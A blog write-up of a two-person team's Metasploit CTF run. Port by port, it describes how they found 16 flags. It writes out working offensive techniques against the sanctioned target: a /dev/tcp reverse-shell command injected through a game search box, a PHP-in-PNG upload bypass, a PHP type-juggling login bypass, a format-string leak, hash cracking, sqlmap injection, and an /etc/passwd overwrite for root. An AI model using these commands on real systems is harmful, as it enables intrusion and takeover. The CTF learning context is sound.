Alright, my second ever Capture The Flag competition. In January 2020 Alex and I tried the Metasploit CTF and managed to get one flag. The challenges were over our head, but we made pretty good progress on some of them.
This time, the challenges were at just the right level for us, plus we had learned some things in the previous competition. We found 16 of the 20 flags and came in 42nd of 874 teams (413 teams got at least one flag). It was way more than we expected to get and we are super pleased. Thanks to Metasploit for putting on such an awesome competition!
My username was SunCat and I was the non-programmer of the team. Alex is the computer wiz and has worked as a developer for over 8 years. We actually make a pretty good team because we tackle problems in different ways.
I spent the day on Friday doing reconnaissance. I managed to look into all the ports we could find and made some pretty good discoveries. I also put together a google doc with all the ports/challenges as headings to keep track of the information for each challenge. When Alex was done work on Friday I walked him through everything and we prioritized the challenges based on perceived difficulty. This organization was a big help because it was easy to loose track of what was what and which we should tackle next.
Below I have listed the ports in order. This was not the order we did them in. I have also listed the uncompleted challenges because we did make a bit of headway on some of them. Also, I have included some of Alex’s notes directly with a grey background.
Here is Alex’s writeup, written for a more technical perspective and with some more code examples.
Outline
- Getting Started
- 80 Simple Website – 4 of Hearts
- 1080 socks5 (Unsolved)
- 1337 Text Interaction – 9 of Clubs
- 4545 Executable and Encrypted File – 8 of Hearts
- 5555 Command Line Game – 8 of Diamonds
- 6868 Photos5u – 6 of Hearts
- 8080 Timing Usernames – 3 of Spades
- 8092 The Clover Tail’s Login Page – 4 of Clubs
- 8101 Writing and Exploit with Metasploit – 5 of Clubs (Unsolved)
- 8123 SaltFreeHashes – Black Joker
- 8200 Welcome to our Gallery – 6 of Diamonds
- 8201 nginx intranet – 9 of Diamonds
- 8202 nginx Javascript Login – Queen of Spades
- 8888 Werkzeug Metasploit Modules (Unsolved)
- 9000 WEBrick PC Game Library – 2 of Hearts
- 9001 CtfChallenge GAME REVIEWS (PC) – 2 of Spades
- 9007 Zip File – Red Joker
- 9008 Java Object Serialization – Queen of Hearts
- 9009 OpenSSH Ubuntu – Ace of Clubs
- 9010 Apache QOH_Client.jar
Getting Started
Disclaimer: I am not a programmer! I have done my best to understand and explain these challenges. However, my explanations might be a bit basic and/or inaccurate.
First step? Get connected.
Using ssh to connect to the kali machine was my first challenge. Alex showed me how to use the -i to give it the file path to the key we were given (it was in my downloads folder). Then the rest is the username at the IP address of our kali machine (both given in our control panel on the competition website).
ssh -i Downloads/metasploit_ctf_kali_ssh_key.pem kali@54.226.145.174
Alex used nmap from the kali machine to get an initial list of open ports, then I asked for help to do a more exhaustive search. Last time we missed some ports (apparently we missed one this time too!), so we tried them all with -p-.
nmap -p- 172.15.22.21 Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-04 16:28 UTC Nmap scan report for 172.15.22.21 Host is up (0.011s latency). Not shown: 65515 closed ports PORT STATE SERVICE 80/tcp open http 1080/tcp open socks 1337/tcp open waste 4545/tcp open worldscores 5555/tcp open freeciv 6868/tcp open acctopus-cc 8080/tcp open http-proxy 8092/tcp open unknown 8101/tcp open ldoms-migr 8123/tcp open polipo 8200/tcp open trivnet1 8201/tcp open trivnet2 8202/tcp open aesop 8888/tcp open sun-answerbook 9000/tcp open cslistener 9001/tcp open tor-orport 9007/tcp open ogs-client 9008/tcp open ogs-server 9009/tcp open pichat 9010/tcp open sdr
Then I went through each port and did a deeper scan for more information. The command would have done multiple ports at a time, but I didn’t know how long that might take so I mostly stuck with one at a time.
nmap -A -p 4545 172.15.22.21 4545/tcp open http SimpleHTTPServer 0.6 (Python 3.8.5) |_http-server-header: SimpleHTTP/0.6 Python/3.8.5 |_http-title: Directory listing for / nmap -A -p 9009 172.15.22.21 9009/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4c:0f:d8:c5:a2:f1:54:f9:92:30:df:62:1f:52:e6:fe (RSA) | 256 6e:b8:6f:94:e6:c0:2f:15:0c:80:71:32:cb:d0:2a:00 (ECDSA) |_ 256 8a:55:03:98:8e:87:29:50:66:1a:57:4c:5b:10:a4:01 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Then I needed to use ssh tunnelling to access the websites on the ports. Alex set up the tunnel for me last time, but this time I wanted to learn how to run it myself. I tried to figure it out on my own, but it is so confusing! When I looked up information I couldn’t even figure out which machine was which.
There are three machines in the ssh tunnel process.
- client/local – Your computer, the one on your desk.
- ssh server – The kali linux box that was provided, the one I ssh-ed into initially
- target/destination – The ubuntu box that we are hacking
The reason the tunnel is necessary is because the kali machine can access the ubuntu box we are hacking, but our local computer can’t. This command needs to be run from the local computer, not the kali box (I’m still learning).
ssh -L 8080:172.15.22.21:80 -i Downloads/metasploit_ctf_kali_ssh_key.pem kali@54.226.145.174
The first part of the command is -L which means local tunneling, then there is port we are setting up on our local computer (8080), next is the address of the target machine and the port we want on the target machine (80). Then we need the ssh key again to access the kali box which has the username and address at the end of the command.
Now we can use a web browser and type localhost:8080 into the url and it will connect to the port specified on the hackable ubuntu box (in this case port 80) where we found the first flag sitting there on a webpage.
80 Simple Website – 4 of Hearts
Simple website with a flag. Downloaded the .png and computed MD5 in CyberChef.


1080 socks5 (Unsolved)
We couldn’t get anything out of this. Alex tried it as a proxy, but couldn’t get it to work. He was doubtful that it was actually a socks5 (nmap often returns what is ‘usually’ on a port if it can’t tell). We didn’t get anywhere with this.
(Apparently it actually was a socks5 proxy)
1337 Text Interaction – 9 of Clubs
This was not a website, so Alex taught me how to connect directly using Netcat.
nc 172.15.22.21 1337
Netcat is run from the kali box using the command nc, then the address of the target and the target port (without a : this time).
Turns out it was a text interaction port/program.
Welcome to the '9 of Clubs' service. ------------------------------- Please choose an option: 1. Send contact info 2. Greetings 3. Send feedback 0. Exit
Entering an option allowed the user to input things.
1 Please, send your contact info... info Your contact has been successfully recorded. Thanks! 2 Please, enter your name... sarah Hello sarah!!! 3 Please, enter your feedback... feedback Please, review your message and confirm: ---- feedback ---- Confirm (Y/n)? y Thanks for your feedback! 3 Please, enter your feedback... feefba Please, review your message and confirm: ---- feefba ---- Confirm (Y/n)? n Message discarted. Please resend a message, we really need your feedback 0 Bye forever!
Eventually we came back to this one and found some interesting things. The ‘Greetings’ option had a string formatting issue. The input wasn’t sanitized so entering %x would do funny things. This was where we got somewhere.
‘Send feedback’ had an overflow problem. Sending 512 or more characters overflowed and automatically populated the Y/n response. This didn’t end up being part of the solution, but the first step toward a solution is seeing what makes things break!
Alex worked hard at this one. It was a 64 bit machine so the printf exploit was harder, memory addresses with 000s and such. Eventually he could print out memory addresses, but it was hard to see how they would be useful because there were limits on what he could print out. Then he started checking some of those addresses and printing them out. One printed out 9 of Clubs with an MD5 and that was it! Got it within the last hour of the competition!
kali@kali:~/ctf/1337$ ./exploit.rb | nc 172.15.22.21 1337 Welcome to the '9 of Clubs' service. ------------------------------- Please choose an option: 1. Send contact info 2. Greetings 3. Send feedback 0. Exit Please, enter your name... Hello AAAAAAAAFlag_9_of_Clubs{b17ef17454081e89c084d5182d76c527}!!!
Submitting the MD5 gives us the flag, but we don’t get to see the actual card in this case.
4545 Executable and Encrypted File – 8 of Hearts
A website with two files that download when clicked. We downloaded both and took a look.
The .elf file was an executable and putting the .enc into CyberChef revealed it was encrypted. We tried some basic decryption, but didn’t have any luck. However, we were pretty sure it was the flag because it was about the same size as the other .png flags we found.

Alex took a closer look at the .elf. When run it seemed to do nothing, until you provide an input like ‘hello’. Then it responded with “You did not say buffalo!” Entering ‘buffalo’ resulted in “MOAR buffalo!” We tried fuzzing this input a bit, putting in a few buffalos and various other things without success. Then Alex pulled it up in a debugger and proceeded to walk through the program in assembly code.
% ./8_of_hearts.elf blahblah You did not say buffalo! % ./8_of_hearts.elf buffalo MOAR buffalo! % ./8_of_hearts.elf buffalo buffalo buffalo buffalo buffalo buffalo buffalo MOAR buffalo!
Eventually he figured out where the program was making comparisons (did you say buffalo?). Using the debugger he examined both comparisons (*input* = buffalo), then (*input* = “”) If both comparisons pass then it writes the .png. We needed to change the *input* in memory between the two comparisons so that they could both succeed. So… he just changed it mid-program using the debugger and continued through the program, everything passed and it decoded the .enc to reveal the flag.

5555 Command Line Game – 8 of Diamonds
Another non-website. When loaded up, this port produced a game of falling zeros that gradually sped up as the game progressed. When one connected with the ^ character at the bottom, the game was over.
SCORE: 12 |0 | | 0 | | 0| | 0 | | 0 | | 0 | | 0 | | 0 | | 0 | | X | You are not as fast as a computer!
“Ack, it is like a game. Can’t figure out how to move the cursor, might be enter just before hitting… but doesn’t seem consistent. I got it to move a couple times, but now I can’t find the right keys.”
Yes, this was my response upon trying to play this darn thing. The arrow keys didn’t work, the other keys didn’t work. It was very strange. However, it did move a couple times when I was messing with it. Eventually, through a lot of keyboard mashing, I figured out how to move the cursor.
“Got it, arrow key and then enter. Got a score of 175. I wonder if the computer can play this game? Got 170 that time… 176.”
Indeed, I was not fast enough to get very far. The hint at the bottom was pretty obvious, we needed to write a program to play this. Alex started with a fairly simple program, then had to modify it when the game started sending two 0s at a time. He said the hardest part was figuring out how to enter an arrow key command with the program!
#!/usr/bin/env ruby
RIGHT = "\u001b[C"
LEFT = "\u001b[D"
$pipe = IO::popen( 'nc 172.15.22.21 5555', 'r+' )
def read_score
$pipe.gets
end
def read_board
[
$pipe.gets,
$pipe.gets,
$pipe.gets,
$pipe.gets,
$pipe.gets,
$pipe.gets,
$pipe.gets,
$pipe.gets,
$pipe.gets,
$pipe.gets
]
end
def move( board )
my_row = board[-1]
my_position = my_row.index( '^' )
next_row = board[-2]
next_positions = (0...next_row.length).find_all { |i| next_row[i,1] == '0' }
if next_positions.include?( my_position )
if my_position < 7
if next_positions.include?( my_position + 1 )
$pipe.puts LEFT
else
$pipe.puts RIGHT
end
else
if next_positions.include?( my_position - 1 )
$pipe.puts RIGHT
else
$pipe.puts LEFT
end
end
end
end
def game_loop
until $pipe.eof? do
score = read_score
puts score
board = read_board
puts board
move( board )
end
end
game_loop
We watched as the computer sped through the game, zeros falling at great speed, then suddenly we won!
SCORE: 489 | 0 | | 00 | | 00 | | 0 0 | | 0 | | 0 0 | | 0 0 | | 0 0 | | 0 0 | | ^0 0| CONGRATULATIONS! Check port 7878!
Went to port 7878 and it hosted a webpage with the flag.

6868 Photos5u – 6 of Hearts
A pretty website with photos. It displayed some users photos and had a sign-up page.
On the sign up page we can create new users using three fields First, Middle (optional) and Last names. Only capital letters are allowed, and the middle field can be left blank. Upon completion we get a link to /notes for our new user.
/notes/SR/1
When we check that url we see a message.
Note submissions will be available for new users shortly!
Viewing the source for the main page reveals that each photo has a url path with the user’s initials: files/BD/0
<h4><u>Architecture by Barry deVillneuve</u></h4>
<div class="row">
<div class="one-half column category">
<h5> Amsterdam </h5>
<img class="u-max-full-width" src="files/BD/0">
</div>
<div class="one-half column category">
<h5> Curved </h5>
<img class="u-max-full-width" src="files/BD/1">
</div>
</div>
Some digging shows that these users have a few more photos than what are displayed on the site and they also have their own notes! The notes give clues, one in particular stood out.
/notes/MC/2
Weirdest thing happened today. I was in the “Photos5u” main office and there was this woman, I think she was one of the techies, and she was ranting about “Eye Doors” or something to the owner. Apparently, our middle names are a threat to the site?!?!?
Honestly, with middle names like “Ulysses Denise Donnoly” you’d think she’d be happy about hers being in use. Actually now that I think about it, she’s probably embaressed about her intials.
I tried to find files or notes under UDD, but got ‘invalid user ID’ for my efforts. Later I realized those were all middle names and this user would have five letters in her initials. We tried a few combinations and finally Alex tried BUDDY and voia, valid user. After searching some notes and files, we found the flag under /files/BUDDY/2

8080 Timing Usernames – 3 of Spades
Another website, this time with a login, a hint and an answer box.
Hint: guest is a valid username, but can you determine what the other valid username for this system is? Use your observational skills!
When trying to log in with guest the page takes a little time to load. A different username is very quick to load. A timing attack! We need to try common usernames and see which ones take time to load. I needed Alex to attack this one. I also discovered usernames are case sensitive, the example is lowercase so we will start with those.
Entering any username in the ‘answer’ box takes a few seconds to load, so hitting that with a username list would take a long time.
Alex did some magic on the command line and employed a few username lists I found. The first ones were really just name lists and didn’t include common user names like ‘guest’ ‘user’ ‘admin’ ‘1111’ etc. Eventually we found a good list and found the other valid user was ‘demo’.
Entering demo in the answer box gave us the flag.

8092 The Clover Tail’s Login Page – 4 of Clubs
Another website with a login and a hint. Probably a clubs card based on the name.
We are given the code that is run when we submit the username, password and hash.
$options = [
'salt' => *secret*,
'cost' => 12
];
if (password_hash($_POST['password'], PASSWORD_DEFAULT, $options) == $_POST['hash'] ){
*success code goes here to send the challenge card back to the user*
}
else{
echo "Invalid login! Maybe you should read the source code more closely?\n";
echo "<script>setTimeout(() => { document.location = '/index.php'; }, 6000)</script>";
}
We have to create a password and hash that match using PHP password_hash, but we don’t know the ‘salt’ that goes into it.
Maybe a timing attack? Uses an insecure comparison ==. If it was a timing attack, we could guess one character at a time because correct characters at the beginning of the hash would take longer to check than incorrect ones. However, Alex tried this, and the response times were too similar, even averaged over time.
We wracked or brains over this for ages. Tried this or that and eventually decided that the salt being secret was as bad as the password being secret! I did learn quite a bit about password hashes, salts, etc in the process though. We left this one and came back to it several times. It seemed so simple and yet we couldn’t make any progress.
Eventually Alex got it to break, here are his notes:
I had tried some `password_hash` calls locally, and I found that I was able to make it break. When I made it break, it would print out a warning.
Anyway, Sarah just mentioned something off-hand about trying to run it locally and see if it does what I expected it to. And then it clicked: when I make it break, it probably returns something like an empty string or NULL, and I might be able to upload a “hash” parameter that matches that!
And I was right! When I uploaded “password” as an array, `password_hash` would return NULL, and since it used `==` for the comparison, I could upload an empty string in the “hash” parameter, and it would evaluate to `true`! It worked, and we got the 4 of Clubs! Yay!!! 😀
So it wasn’t about the secret salt at all. Instead, it was the error output that we matched up. The insecure comparison using == succeeded when we compared NULL with an empty string, and we were in.

8101 Writing an Exploit with Metasploit – 5 of Clubs (Unsolved)
Another website. Upon reading, this appeared to be exactly what it said it was. We needed to write a Metasploit module and submit it. Neither of us had any experience with that and it seemed like a very time consuming challenge, so we left it.
I did try breaking the page, putting in invalid files to see if we needed to hack it another way. Nope. Alex downloaded everything and looked at it, looking through the exploit information and uploading the files to see the log pages. However, it was too much work with too little time left in the competition.

8123 Salt Free Hashes – Black Joker
A website that makes me hungry, also, more references to salt and hashes? This site contained a sign up page and a hint page. It gives away a username and email admin@example.com at the bottom. The sign up page lets you make an account, and hint gives away the beginning of the password (ihatesalt) when admin@example.com is entered. Oh, and there is a login at the very bottom corner of the page.
Upon closer inspection we found the sign up page has password restrictions, 8-14 characters, only letters and numbers. Might be able to brute force the end of the admin password. Alex looked a little closer at the hint page and found the password hash!
When I look at the returned JSON for `password-recovery` I get:
{"id": 0, "name": "Jim \"Hate Salt\" Jones", "email": "admin@example.com", "hint": "The password begins with \"ihatesalt\"", "hash": "7f35f82c933186704020768fd08c2f69"}
We have a hash! I bet it’s salt-free 😉
HashCat made short work of this once Alex put in the right guidelines.
`hashcat -a 3 -1 '?l?d' -o cracked.txt hashes.txt ihatesalt?1?1?1?1?1`
Cracked it in 17 seconds.
Password was ihatesaltalot7 and logging in with admin@example.com gave us the flag.

8200 Welcome to our Gallery – 6 of Diamonds
Another photo gallery website. Can view photos and upload photos. Photos uploaded show up in the gallery.
It is a PHP website, so maybe we can upload PHP code disguised as an image? The upload field restricted uploads to image files, however…
It had two restrictions on the file: a file extension check, and a file MIME type check.
To bypass the extension check, I could just add an extra extension. So `file.png.php` would work fine, because it would only check the first `.png` part.
To bypass the MIME type check, I could just upload a file whose first few lines were a PNG, and then add some PHP code in later. It got past the uploader, and the PHP would execute just fine.
This doc was helpful.
`curl -v --form "file=@evilflag.png;filename=theflag.png.php;type=image/java" http://172.15.22.21:8200/upload.php`
The “type” parameter actually didn’t matter in the end. Just the filename and the actual MIME type of the file.
Can use a metasploit module to get a reverse shell.
I ended up just adding PHP code to run a `system` command to copy the flag into `/images`, and then download it from there.
So Alex created some nasty PHP code that let him access the machine. He found the flag in the file system and copied it to a place where it would just display on the website. Later he actually got a complete reverse shell on the command line. We poked around, but there wasn’t anything else interesting on the machine that we could see.

8201 nginx intranet – 9 of Diamonds
Redirects to http://intranet.metasploit.ctf:8201/ and ‘can’t be reached’. I couldn’t get anywhere with this one, but Alex eventually found a clue.
When I set the Host header to the above host, I get an HTML response:
<h1>Intranet Portal under construction</h1>
<p>We’re still working on our intranet portal site.</p>
<p>For now please use the direct subdomain links that have been sent to you.</p>
I tried enumerating a list of subdomains in the Host header, and all of them came back with a redirect. Maybe I should list out where they’re redirecting to, just to be sure?
GOT IT!!!
Ended up using wfuzz to try a bunch of subdomains, and I had the idea that it might be of the format <subdomain>.intranet.metasploit.ctf. Found `hidden.intranet.metasploit.ctf`.
`wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/big.txt -u 172.15.22.21:8201/ -H 'Host: FUZZ.intranet.metasploit.ctf' | grep '[^0-9]200[^0-9]'`

8202 nginx Javascript login – Queen of Spades
A pretty login page with nothing else. I looked at the page source and it was all gibberish javascript files to me. This one was put aside over and over because we just didn’t know what to look for.
Eventually I learned to use a tool called Nicto and it said:
+ /package.json: Node.js package file found. It may contain sensitive information.
The package.json is interesting, but we can’t get it to display. Can Nikto retrieve it? Can’t seem to make any progress on that. However, Alex found something! A GraphQL query which is public and he can edit it and send a query. Can get all kinds of data back.
Found the GraphQL API (the LOGIN_MUTATION in the login request, with a Google search, gave me that hint), was able to do arbitrary queries, Sarah found a good introspection query and tool, I ran the query and pasted the result into the tool. We found a “Post” type, which included a “media” field. Looked promising! I queried, there was one post, the media was a URL to the flag 😀
`curl -v -H "Content-Type: application/json" --data '{"query":"{ posts { id, userId, media, title, content, createdAt, updatedAt } }"}'
Result:
`{"data":{"posts":[{"id":1,"userId":1,"media":"/cac0babe-1fff-4d85-9070-8d147e76da4b/queen_of_spades.png","title":"Lorem ipsum dolor sit amet","content":"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec interdum ut metus consectetur sodales. Sed et vulputate massa. Nullam consequat fringilla ante, sit amet lacinia ligula egestas et. Mauris imperdiet sodales nisl, sit amet placerat nisi. Pellentesque et ligula at purus convallis vehicula. Aenean ac ullamcorper diam","createdAt":1607094327.0,"updatedAt":1607094327.0}]}}`
Following the link lead us to the flag.

8888 Werkzeug Metasploit Modules (Unsolved)
A webpage full of metasploit modules. We were both stumped by this one. I did a search for any likely words: flag, spades, hearts, diamonds, clubs, card… etc. Nothing. Eventually Alex downloaded all the pages linked to see if there was a card hidden on one of the many pages. Nothing. We looked for vulnerabilities in Werkzeug and python to no avail.
Near the end of the competition I noticed something about the url.
The url filter seems to be sending commands. Is stripping some characters out though, and a little fussy. Can’t get anything to quite work, but might be a command injection exploit in python or something.
Alex did get a little bit of command injection, but it was tricky, some things sort of worked, others didn’t. We didn’t get any further before the time was up.
9000 WEBrick PC Game library – 2 of Hearts
Another website, this time with an input field and a submit button. At first I couldn’t get it to do anything. Later I found that entering Overwatch resulted in Overwatch 2 and Overwatch coming up. Alex found that lots of games show up if you search one letter at a time. Also we got ./Games in a bunch of results, that is weird. Entering special characters doesn’t break it, though “” fetches everything, strange. This one sat on the back burner for quite a while, though we always suspected it was one of the simpler ones.
Finally, I found entering “” or * or “***” will result in fetching everything. I asked Alex what uses * as a wildcard and the lightbulb went on. Alex said it was interpreting shell commands! Finally we were getting somewhere.
Running `echo Game` will return ./Games. So we can exploit a command injection vulnerability. Now one thing that was funny about this one was the search. The website wouldn’t display the result of our command. We had to include something for it to search for to see if it was working. Alex tried creating a file in the ./Games directory, and was successful. He figured out he could then run those files and may be able to get a reverse shell.
Managed to do command injection to open a reverse shell with Metasploit. Used the `cmd/unix/reverse_bash` payload and the commands found here. Used the following search queries to inject and then run the payload:
`echo "0<&196-;exec 196<>/dev/tcp/172.15.22.20/4444;sh <&196 >&196 2>&196" > ./Games/pwnd`
`/bin/bash ./Games/pwnd`
Found the flag in hidden once reverse shell was achieved. Printed out in Base64 on the shell and copied from the command line window. Then we pasted into CyberChef and used ‘from Base64’ to get PNG and then MD5.

9001 CtfChallenge GAME REVIEWS (PC) – 2 of Spades
This website looks just like the last one (PC Game library), but behind the scenes it is different. Another input field, if Overwatch is entered then it shows up in the game title/review table below. Overwatch 2 has no result.
We tried entering stuff, fuzzing, etc. and found entering something with a single ‘ breaks stuff, SQL injection!
I’m proud to say I got this flag. Last CTF we heard of people using sqlmap to do SQL injection attacks. Luckily our kali machine had it installed. It took a couple tries, and the help menu, but I eventually ran the sqlmap wizard on the site and got the flag!
sqlmap just walked through everything, automatically did the injection and found some tables including this one:
Database: SQLite_masterdb Table: hidden [1 entry] +----+-------------+-----------------------------------+ | id | flag | link | +----+-------------+-----------------------------------+ | 1 | 2_of_spades | /eGHaMBu2XWvRA5cu/2_of_spades.png | +----+-------------+-----------------------------------+
Following the link led to the flag.

9007 Zip File – Red Joker
Another simple website. This time with Index of/ and a zip file to download. However, this zip file wouldn’t unzip! So I threw it into CyberChef since it seems to be able to do everything. However, CyberChef couldn’t unzip the darn thing either!
This was early on in the competition before we had much experience with CyberChef. It was a new tool that we discovered in the write-ups from the CTF in January. It is an amazing tool and we used it a lot this year for various things.
After messing around with different recipes and options, Alex stumbled across ‘extract files’ and boom, there were a few strange PDF files and the PNG flag. We grabbed the flag from CyberChef and that was it.

9008 Java Object Serialization – Queen of Hearts
This one wasn’t a website. Connecting directly using Netcat yielded ??, typing something in and hitting enter jumps out, hitting enter 3 times jumps out.
The nmap was only so helpful, but did get us on the right track.
9008/tcp open java-object Java Object Serialization 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9008-TCP:V=7.80%I=7%D=12/4%Time=5FCA70C9%P=x86_64-pc-linux-gnu%r(NU SF:LL,4,"\xac\xed\0\x05");
Maybe we need to communicate directly with a Java socket?
https://www.geeksforgeeks.org/socket-programming-in-java/
Alex tried opening a socket using Java, but it was missing a class called AuthState.
Eventually we got around to opening the .jar file from port 9008 and found the missing AuthState.class and a client file!
This allowed us to connect. Upon connection we were presented with a list of options. First we listed the files and the flag was right there. However when we asked to download it, we found we weren’t authorized to do so. Trying the “Authenticate to the server” asked for credentials (which we didn’t have).
kali@kali:~/ctf/9010/hacking$ java Client 172.15.22.21 9008 Successfully connected to the server! Please select an available action from the list below: [1] Lists available files on the server [2] Download available files from the server [3] Authenticate to the server 1 Executing action... Listing available files to download: test.txt queen_of_hearts.png todo.md
Maybe we can do something to trick it into thinking we are authorized? What if the authorization happens on the client side, with the files that we supply. So we loaded them up in a decompiler to see what the code was doing….
Alex needs to explain this, I won’t do it justice. Essentially the client code would send requests and information to the server. Upon contact, the server would send back an AuthState file which said the user was not logged in. Whenever we tried to download the files, the code would get the server to send down the AuthState and would check to see if we were authorized. However, the authorization was visible as a true/false value in the AuthState code. Alex just had to add a line of code between the download and the check. His code changed the true/false variable in the AuthState file, tricking the code into thinking we were authorized. Then it went through and told the server to send the file.
We sent the request to download the flag and it was sent right to us.

9009 OpenSSH Ubuntu – Ace of Clubs
Not a website for a change, but an ssh connection to a Ubuntu machine. We started by initiating a connection from the kali box.
ssh -p 9009 admin@172.15.22.21
We are prompted for a password and surprisingly enough ‘password’ works and we are in. However, this is an unprivileged user and apparently the shell is annoying to use, no auto completes and arrow keys don’t work (we later found out it had bash, which would have helped this).
After a little digging we find the flag is in /etc but permission is denied, owned and readable by root. We need to become a root user to access the file. Are there any programs in here that can be used for privilege escalation? Not really, hardly anything running (that is visible by admin).
Then Alex came across a strange file/program in /opt called vpn_connect. When we opened it up and searched for strings, we found ace_of_clubs in there. This was one challenge we came back to later and ended up spending quite a bit of time solving.
Ok, we got it! Here are some notes:
- Found /opt/vpn_connect. It had the string `/ace_of_clubs` in it.
- Noticed that it had SetUID root.
- Reverse engineered the `vpn_connect` file. It became clear that the authentication was not doing anything interesting. It would write “Authentication failed” upon failure, but seemed that it would just say “Authentication success” or something like that on success.
- Eventually we discovered that the log file was written to as root. Tried to think of a way to write to a file and get root access.
- Eventually found this article. Figured we could write out to /etc/passwd.
- We tried a bunch of stuff. We didn’t have full control over what we wrote out:
- Tried having a weird username with an empty password (“Attempting to connect to server with admin”).
- Tried setting that user’s password.
- Eventually found that only the admin user could SSH in so started trying to change the admin user’s password.
- Realized that the log file was being written to by overwriting the first characters, and the last thing was a newline.
- So we wrote in a bunch of characters, carefully calculated, and then the string we wanted on its own line. Then we wrote another string that would overwrite all the leading characters. That put our `admin` line on its own line.
- Still, SSH didn’t work. So went to another SSH session and used `su`.
- Also, it appended `and password`. So instead of using `/bin/bash` for the shell, we needed to copy that to `/tmp/bash and password` instead.

9010 Apache QOH_Client.jar
A webpage with a file. This had some sorting parameters on it, but otherwise seemed to do nothing. The QOH_Client.jar file was used to get the flag on port 9008 with the Java Serialization Object. This port did not directly have a flag.